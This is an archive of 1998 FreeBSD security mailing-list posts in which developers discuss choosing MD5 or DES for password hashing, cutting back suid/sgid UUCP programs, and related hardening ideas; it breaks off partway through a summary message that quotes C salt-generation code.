Received: from slc402h.modem.xmission.com (xmission.com) [166.70.2.148] by mail.xmission.com with esmtp (Exim 1.82 #2) id 0yR6OP-00019v-00; Sun, 19 Apr 1998 20:33:13 -0600 Message-ID: <353AB4CD.81FEC9DB@xmission.com> Date: Sun, 19 Apr 1998 20:37:02 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: "Jordan K. Hubbard" CC: Penisoara Adrian , freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption References: <29805.893026136@time.cdrom.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Jordan K. Hubbard wrote: > > > How can one control which kind of encryption is to be used by the > > system for password encryption ? For example I want to use only MD5 > > I've often wondered that myself and I'll be interested to hear the > answer. :) I suspect the answer is, however, "you can't do that" > and that we need some sort of /etc/passwd.conf (ducks :-). I check the source in usr.bin/passwd/local_passwd.c, and it just calls 'crypt.' I guess you could make a crypt(3) routine that checks passwd.conf and does the right thing; that would take care of all of the applications because everyone calls crypt to make sure the password the user just types matches the one stored in the database. What do you do when passwd.conf specifies and encryption format you don't have installed? Can FreeBSD programs fail gracefull to bind to a shared library? I've never probed *that* deeply into shared libraries. :^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 19:42:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA16971 for freebsd-security-outgoing; Sun, 19 Apr 1998 19:42:59 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA16863 for ; Mon, 20 Apr 1998 02:42:42 GMT (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id TAA03632; Sun, 19 Apr 1998 19:42:24 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: Wes Peters cc: Penisoara Adrian , freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Sun, 19 Apr 1998 20:37:02 MDT." <353AB4CD.81FEC9DB@xmission.com> Date: Sun, 19 Apr 1998 19:42:24 -0700 Message-ID: <3628.893040144@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > What do you do when passwd.conf specifies and encryption format you don't > have installed? Can FreeBSD programs fail gracefull to bind to a shared > library? I've never probed *that* deeply into shared libraries. :^) Sure. Man dlopen(3). Something which just selectively bound to either libm5crypt or libdescrypt or libfoocrypt based on the request would be kind of neat. It might solve problems elsewhere as well in terms of eliminating some of the existing symlink hackfixes.. Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 19:55:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA20826 for freebsd-security-outgoing; Sun, 19 Apr 1998 19:55:30 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (aniwa.actrix.gen.nz [203.96.56.186]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA20636 for ; Mon, 20 Apr 1998 02:55:10 GMT (envelope-from andrew@squiz.co.nz) Received: from [192.168.1.1] (cloud9.sky [192.168.1.1]) by aniwa.sky (8.8.7/8.8.7) with SMTP id OAA00800 for ; Mon, 20 Apr 1998 14:52:30 +1200 (NZST) (envelope-from andrew@squiz.co.nz) X-Sender: andrew@pop.sky Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 20 Apr 1998 14:56:25 +1200 To: freebsd-security@FreeBSD.ORG From: andrew@squiz.co.nz (Andrew McNaughton) Subject: Re: suid/sgid programs Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk >It would probably be better to pull all of UUCP into a separate install >package, so users who don't use it could simply not install it. This >way, the install package could install all of the UUCP binaries with the >correct permissions, and users who don't need UUCP lower their suid/sgid >impact. I'm one of said users who don't use UUCP, and so far haven't concerned myself with it much. I presume there's no problem for me in removing the uucp group and user? what else is solely related to uucp that I can throw out? Is it a problem that the uucp user has by default a publicly writable home directory? or is this made irrelevant by it's shell being set to uucico? Andrew McNaughton DISCLAIMER: The Entire Physical Universe, Including Andrew McNaughton This Message, May One Day Collapse Back into an ++64 4 389 6891 Infinitesimally Small Space. Should Another Universe andrew@squiz.co.nz Subsequently Re-emerge, the Validity of Statements http://www.squiz.co.nz in This Message Cannot Be Guaranteed. http://www.newsroom.co.nz To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 20:33:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA28680 for freebsd-security-outgoing; Sun, 19 Apr 1998 20:33:56 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from nyef.res.cmu.edu (qmailr@NYEF.RES.CMU.EDU [128.2.88.90]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id DAA28598 for ; Mon, 20 Apr 1998 03:33:46 GMT (envelope-from inf@nyef.res.cmu.edu) Received: (qmail 12197 invoked by uid 1000); 20 Apr 1998 03:33:39 -0000 Message-ID: <19980419233339.41046@nyef.res.cmu.edu> Date: Sun, 19 Apr 1998 23:33:39 -0400 From: Marca Registrada To: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs Mail-Followup-To: freebsd-security@FreeBSD.ORG References: <199804200000.KAA16875@gsms01.alcatel.com.au> <19980419190946.52003@mcs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <19980419190946.52003@mcs.net>; from Karl Denninger on Sun, Apr 19, 1998 at 07:09:46PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Quoting Karl Denninger (karl@mcs.net): > Look at how System V "lp" handled this. Either you make the file > world-readable, or lp copied it (you had to tell it to do the second). Couldn't lpr figure this out for you.. or at least ask if you would like to make a (possibly interceptable) copy of the non-world-readable file for the paranoid/ Any comments on LPRng? I don't print much anymore, so I havn't used it in ages, but from wht I remember it passes data through sockets rahter tahn through passing files.. far more secure. -- - All we hear is internet gaagaa, internet googoo, internet gaagaa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 23:52:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA17886 for freebsd-security-outgoing; Sun, 19 Apr 1998 23:52:13 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA17870 for ; Mon, 20 Apr 1998 06:52:03 GMT (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id XAA17854; Sun, 19 Apr 1998 23:51:42 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <353AF07D.8131BBA8@san.rr.com> Date: Sun, 19 Apr 1998 23:51:41 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: Andrew McNaughton CC: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Andrew McNaughton wrote: Someone else wrote: > >It would probably be better to pull all of UUCP into a separate install > >package, so users who don't use it could simply not install it. I personally believe this is true of many portions of the base OS, but I think it's especially important for those elements that use s[ug]id bits. > I'm one of said users who don't use UUCP, and so far haven't concerned > myself with it much. I presume there's no problem for me in removing the > uucp group and user? what else is solely related to uucp that I can throw > out? I remove all elements of uucp from my tree and modify my makefiles accordingly to not build them during make world. In case someone doesn't know how this is done, look at http://home.san.rr.com/freebsd/upgrade.html, towards the end of the page. The one exception is /usr/src/lib/libutil/uucplock.c which if it's not built some other part of the system crashes and burns... I don't remember what it is off hand but if someone looks at surgically removing uucp they should be aware of this dependency. Hope this helps, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud designer and maintainer of the world's largest Internet *** Relay Chat server with 5,328 simultaneous connections. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 01:13:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA01876 for freebsd-security-outgoing; Mon, 20 Apr 1998 01:13:15 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA01870 for ; Mon, 20 Apr 1998 08:13:07 GMT (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.8.8/8.8.8) with ESMTP id KAA10444; Mon, 20 Apr 1998 10:12:57 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by greenpeace.grondar.za (8.8.8/8.8.8) with ESMTP id KAA09640; Mon, 20 Apr 1998 10:12:49 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199804200812.KAA09640@greenpeace.grondar.za> To: "Jordan K. Hubbard" cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption Date: Mon, 20 Apr 1998 10:12:49 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Jordan K. Hubbard wrote: > > How can one control which kind of encryption is to be used by the > > system for password encryption ? For example I want to use only MD5 > > I've often wondered that myself and I'll be interested to hear the > answer. :) I suspect the answer is, however, "you can't do that" > and that we need some sort of /etc/passwd.conf (ducks :-). Yonks ago, you made Brandon Gillespie into a committer. He was working on extending crypt to do all sorts of cute things (Thus absolving me of that responsibility). What happened to him? I may be wrong, but I have yet to see a single commit from him. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 01:14:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA02109 for freebsd-security-outgoing; Mon, 20 Apr 1998 01:14:54 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA02102 for ; Mon, 20 Apr 1998 08:14:47 GMT (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.8.8/8.8.8) with ESMTP id KAA10452; Mon, 20 Apr 1998 10:14:37 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by greenpeace.grondar.za (8.8.8/8.8.8) with ESMTP id KAA09666; Mon, 20 Apr 1998 10:14:25 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199804200814.KAA09666@greenpeace.grondar.za> To: "Jordan K. Hubbard" cc: Wes Peters , Penisoara Adrian , freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption Date: Mon, 20 Apr 1998 10:14:25 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk "Jordan K. Hubbard" wrote: > > What do you do when passwd.conf specifies and encryption format you don't > > have installed? Can FreeBSD programs fail gracefull to bind to a shared > > library? I've never probed *that* deeply into shared libraries. :^) > > Sure. Man dlopen(3). Something which just selectively bound to > either libm5crypt or libdescrypt or libfoocrypt based on the request > would be kind of neat. It might solve problems elsewhere as well in > terms of eliminating some of the existing symlink hackfixes.. This will need to work if the binary is statically linked as well. I am not sure if dlopen is up to te task yet. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 01:23:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA04198 for freebsd-security-outgoing; Mon, 20 Apr 1998 01:23:36 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA04139 for ; Mon, 20 Apr 1998 08:23:20 GMT (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id BAA16152; Mon, 20 Apr 1998 01:23:09 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: Mark Murray cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Mon, 20 Apr 1998 10:12:49 +0200." <199804200812.KAA09640@greenpeace.grondar.za> Date: Mon, 20 Apr 1998 01:23:08 -0700 Message-ID: <16149.893060588@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Good question - I have no idea. :-( > On Sun, 19 Apr 1998, Jordan K. Hubbard wrote: > > > > How can one control which kind of encryption is to be used by the > > > system for password encryption ? For example I want to use only MD5 > > > > I've often wondered that myself and I'll be interested to hear the > > answer. :) I suspect the answer is, however, "you can't do that" > > and that we need some sort of /etc/passwd.conf (ducks :-). > > Yonks ago, you made Brandon Gillespie into a committer. He was working > on extending crypt to do all sorts of cute things (Thus absolving me > of that responsibility). > > What happened to him? I may be wrong, but I have yet to see a single > commit from him. > > M > -- > Mark Murray > Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 02:48:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA19328 for freebsd-security-outgoing; Mon, 20 Apr 1998 02:48:18 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA19279 for ; Mon, 20 Apr 1998 09:48:00 GMT (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.8.8/frmug-2.2/nospam) with UUCP id LAA28365 for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 11:47:40 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: (from roberto@localhost) by keltia.freenix.fr (8.9.0.Beta4/keltia-2.14/nospam) id LAA02186; Mon, 20 Apr 1998 11:28:39 +0200 (CEST) (envelope-from roberto) Message-ID: <19980420112838.A2169@keltia.freenix.fr> Date: Mon, 20 Apr 1998 11:28:38 +0200 From: Ollivier Robert To: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption Mail-Followup-To: freebsd-security@FreeBSD.ORG References: <29805.893026136@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91i In-Reply-To: <29805.893026136@time.cdrom.com>; from Jordan K. Hubbard on Sun, Apr 19, 1998 at 03:48:56PM -0700 X-Operating-System: FreeBSD 3.0-CURRENT ctm#4213 AMD-K6 MMX @ 225 MHz Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk According to Jordan K. Hubbard: > I've often wondered that myself and I'll be interested to hear the > answer. :) I suspect the answer is, however, "you can't do that" > and that we need some sort of /etc/passwd.conf (ducks :-). Why not (ab)using /etc/login.conf for that ? Or something akin to the /etc/default/* scheme SysV use ? Or an LDAP entry [ducks too] -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #3: Tue Apr 14 21:41:01 CEST 1998 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 04:06:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA29448 for freebsd-security-outgoing; Mon, 20 Apr 1998 04:06:31 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from firewall.ftf.dk (root@mail.ftf.dk [129.142.64.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA29405 for ; Mon, 20 Apr 1998 11:06:24 GMT (envelope-from regnauld@deepo.prosa.dk) Received: from mail.prosa.dk ([192.168.100.2]) by firewall.ftf.dk (8.7.6/8.7.3) with ESMTP id PAA05683; Mon, 20 Apr 1998 15:02:39 +0200 Received: from deepo.prosa.dk (deepo.prosa.dk [192.168.100.10]) by mail.prosa.dk (8.8.5/8.8.5/prosa-1.1) with ESMTP id NAA23639; Mon, 20 Apr 1998 13:24:51 +0200 (CEST) Received: (from regnauld@localhost) by deepo.prosa.dk (8.8.7/8.8.5/prosa-1.1) id NAA29070; Mon, 20 Apr 1998 13:05:03 +0200 (CEST) Message-ID: <19980420130503.20962@deepo.prosa.dk> Date: Mon, 20 Apr 1998 13:05:03 +0200 From: Philippe Regnauld To: "Matthew D. Fuller" Cc: freebsd-security@FreeBSD.ORG Subject: Re: kernel permissions References: <12444.892832647@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.88e In-Reply-To: ; from Matthew D. Fuller on Fri, Apr 17, 1998 at 02:46:26PM -0500 X-Operating-System: FreeBSD 2.2.5-RELEASE i386 Organization: PROSA Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Matthew D. Fuller writes: > > propose instead? We just can't keep sitting on the fence and doing > > nothing about this forever, can we? > Heck, that's easy. > Just go with the highest bidder (who'll pay us the most to use theirs ;) Heck, that's easy. INRIA's available for 2.2.5. Has been since 2.2.1 and before. Pierre Beyssac ported it to -current. It works. It's documented, O'Reilly just came out with a book (albeit in French), from the same team of people, etc... All we need now is more testers. -- -[ Philippe Regnauld / sysadmin / regnauld@deepo.prosa.dk / +55.4N +11.3E ]- «Pluto placed his bad dog at the entrance of Hades to keep the dead IN and the living OUT! The archetypical corporate firewall?» - S. Kelly Bootle, ("MYTHOLOGY", in Marutukku distrib) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 06:31:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA19191 for freebsd-security-outgoing; Mon, 20 Apr 1998 06:31:47 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from spinner.netplex.com.au (spinner.netplex.com.au [202.12.86.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA19177 for ; Mon, 20 Apr 1998 13:31:34 GMT (envelope-from peter@netplex.com.au) Received: from spinner.netplex.com.au (localhost [127.0.0.1]) by spinner.netplex.com.au (8.8.8/8.8.8/Spinner) with ESMTP id VAA04518; Mon, 20 Apr 1998 21:24:28 +0800 (WST) (envelope-from peter@spinner.netplex.com.au) Message-Id: <199804201324.VAA04518@spinner.netplex.com.au> X-Mailer: exmh version 2.0.2 2/24/98 To: Mark Murray cc: "Jordan K. Hubbard" , Wes Peters , Penisoara Adrian , freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Mon, 20 Apr 1998 10:14:25 +0200." <199804200814.KAA09666@greenpeace.grondar.za> Date: Mon, 20 Apr 1998 21:24:27 +0800 From: Peter Wemm Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Mark Murray wrote: > "Jordan K. Hubbard" wrote: > > > What do you do when passwd.conf specifies and encryption format you don't > > > have installed? Can FreeBSD programs fail gracefull to bind to a shared > > > library? I've never probed *that* deeply into shared libraries. :^) > > > > Sure. Man dlopen(3). Something which just selectively bound to > > either libm5crypt or libdescrypt or libfoocrypt based on the request > > would be kind of neat. It might solve problems elsewhere as well in > > terms of eliminating some of the existing symlink hackfixes.. > > This will need to work if the binary is statically linked as well. I > am not sure if dlopen is up to te task yet. There is no real reason why we can't work towards compiling libraries differently for static vs. dynamic. libcrypt could dlopen() an extensible backend when linked dynamic, while the static libcrypt could just contain all the presently known algorithms and the dlopen() stuff stubbed out. Static linking really does restrict some of the creative things that can be done with dynamic linking. It would fix the two different versions of init for starters... But that'd mean creating a /lib (and /libexec/ld.so) and putting a selection of shared libs in there. As long as ld.so was robust enough to work without /var/run/ld.so.cache, this would not be a problem. Putting a selection (say 2MB) of shared libs in /lib would probably cut the 9.5MB of /bin+/sbin to 3MB tops, leaving an overall root fs space saving. But we'd also be able to use things like PAM (heaven forbid), runtime selection of gethostbyname() backends (files,DNS,NIS,whatever). The removal of the files,dns,nis stuff (into a seperate library each) could save overall libc.so size. Adding NIS+ support would be as simple as adding one line to a file and everything could support it automatically without relinking etc. Same thing for new crypt routines for passwd stuff. However, the thought of having ld.so on / and a dynamic sh and init seems to make some people break out into a cold sweat... > M Cheers, -Peter -- Peter Wemm Netplex Consulting To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 07:01:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA24831 for freebsd-security-outgoing; Mon, 20 Apr 1998 07:01:45 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from RWSystems.net (root@rwsystr.RWSystems.net [204.251.23.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA24724 for ; Mon, 20 Apr 1998 14:01:06 GMT (envelope-from jwyatt@rwsystr.RWSystems.net) Received: from rwsystr.RWSystems.net by RWSystems.net with smtp (Smail3.1.29.1 #3) id m0yRH30-0001NwC; Mon, 20 Apr 98 08:55 CDT Date: Mon, 20 Apr 1998 08:55:47 -0500 (CDT) From: James Wyatt To: freebsd-security@FreeBSD.ORG cc: fpscha@schapachnik.com.ar, robert+freebsd@cyrus.watson.org, Niall Smart Subject: Re: suid/sgid programs In-Reply-To: <199804191452.PAA00588@indigo.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id OAA24749 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Niall Smart wrote: > On Apr 19, 12:26am, "Fernando P. Schapachnik" wrote: > } Subject: Re: suid/sgid programs > > En un mensaje anterior Robert Watson escribi¢: > > [...] > > > We note also that a fairly large chunk of suid/sgid programs are UUCP > > > programs -- something that a majority of FreeBSD users (I would guess?) do > > > not use. In terms of reducing risk, disabling suid/sgid on these programs > > Don't be so sure. FreeBSD boxes are an excellent choice for UUCP servers. > > Actually I have a few running (and planning to install more). > I think the point he was making was that most users don't use UUCP, and > therefore we shouldn't be shipping UUCP related utilities with set[ug]id > bits. Presumably if you can configure UUCP you can use chmod. I thought we were after suid/sgid programs that had kernel risks (like suid root or sgid kmem). What does s[ug]id uucp impact outside of the uucp core files? Your inbound/outbound password files might be useful for password hacking or getting free service, but what else? btw: I really dislike the "We can make this stronger by %s and if you don't like it or need it undone, you can %s" arguements. They peel-off useful subsystems and factionalize us. I still use UUCP a lot here in the states for unmetered full-domain email support. Works nicely and lets me remote-admin much cheaper. Thanks - James To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 07:13:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA27320 for freebsd-security-outgoing; Mon, 20 Apr 1998 07:13:47 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA27260 for ; Mon, 20 Apr 1998 14:13:18 GMT (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id KAA17217; Mon, 20 Apr 1998 10:12:57 -0400 (EDT) Date: Mon, 20 Apr 1998 10:12:57 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: James Wyatt cc: freebsd-security@FreeBSD.ORG, fpscha@schapachnik.com.ar, Niall Smart Subject: Re: suid/sgid programs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Mon, 20 Apr 1998, James Wyatt wrote: > I thought we were after suid/sgid programs that had kernel risks (like > suid root or sgid kmem). What does s[ug]id uucp impact outside of the > uucp core files? Your inbound/outbound password files might be useful for > password hacking or getting free service, but what else? > > btw: I really dislike the "We can make this stronger by %s and if you > don't like it or need it undone, you can %s" arguements. They peel-off > useful subsystems and factionalize us. I still use UUCP a lot here in the > states for unmetered full-domain email support. Works nicely and lets me > remote-admin much cheaper. Again, my feeling is that suid programs in general make it harder to audit. If a bug exists in a uucp program, the ability to run arbitrary programs as the UUCP account (and that the UUCP binaries are *writable* by the UUCP account) severely limits the effectiveness of current auditing tools. Key concept: If you're not using a feature that involves screwing with UIDs, then it should be disabled. I would guess that the majority of FreeBSD users do not make use of UUCP. As such, it provides no benefits for them, but does increase risk and make auditing harder. I am not recommend removing or disabling UUCP in the default distribution (at this time). On the other hand, I am recommending that an easy way be provided to disable its suid features. And I am also offering to provide that as part of the Hardening Project. I hope to have an initial suid/sgid program manager hacked up sometime later this week. The goal here is to provide an easy way to manage the risks associated with the various portions of FreeBSD, and to provide an easy way to set the policy. UUCP provides clear and useful functionality -- but not to everyone. The same goes for ping, sendmail, and fingerd, for that matter. Robert N Watson ---- Carnegie Mellon University http://www.cmu.edu/ Trusted Information Systems http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 07:25:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA29197 for freebsd-security-outgoing; Mon, 20 Apr 1998 07:25:43 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ady.warpnet.ro (ady.warpnet.ro [193.230.201.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA28984; Mon, 20 Apr 1998 14:23:36 GMT (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.8.8/8.8.8) with SMTP id UAA08867; Mon, 20 Apr 1998 20:22:51 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Mon, 20 Apr 1998 20:22:51 +0300 (EEST) From: Penisoara Adrian Reply-To: Penisoara Adrian To: freebsd-security@FreeBSD.ORG cc: freebsd-bugs@FreeBSD.ORG Subject: Controlling MD5/DES use for passwd - Resumee Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Hi, First of all thanks goes to all who shared ideeas on this subject (wether in private or on the list). PROBLEM: Installing DES distribution changes the default behavior of the (non-DES) system to use MD5 for password encryption. WANTED: There should be a way to control which encryption scheme the system uses, wether MD5, DES or whatever else. BACKGROUND: The _passwd_ utility uses a crypt(3) call to encrypt the plain-text password it is given by the user. The code of this function resides in the _libcrypt_ library/libraries found in the /usr/lib directory. The standard crypt library which comes with FreeBSD (assuming that the "des" distribution is not installed) makes use of the MD5 encryption scheme and the code is found in the /usr/lib/libscrypt.* library, with libcrypt.* beeing sym-linked to it. Here it is the libscrypt content: # ar -t /usr/lib/libscrypt.a __.SYMDEF crypt.o md5c.o When the "des" distribution is installed a new _libdescrypt_ library appears and the libcrypt.* symlinks are updated to redirect to the new libdescrypt.* files. Note that this library contains the MD5 code too and the DES crypt() code is MD5 aware, recognisig the "$1$" MD5 signature in the salt and calling the MD5 code in that case. Here it is the libdescrypt content: # ar -t /usr/lib/libdescrypt.a __.SYMDEF crypt.o crypt-md5.o md5c.o Here it is the crypt() calling sequence in the passwd code found in the file usr.bin/passwd/local_passwd.c: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #ifdef NEWSALT salt[0] = _PASSWORD_EFMT1; to64(&salt[1], (long)(29 * 25), 4); to64(&salt[5], random(), 4); salt[9] = '\0'; #else /* Make a good size salt for algoritms that can use it. */ gettimeofday(&tv,0); if (strncmp(pw->pw_passwd, "$1$", 3)) { /* DES Salt */ to64(&salt[0], random(), 3); to64(&salt[3], tv.tv_usec, 3); 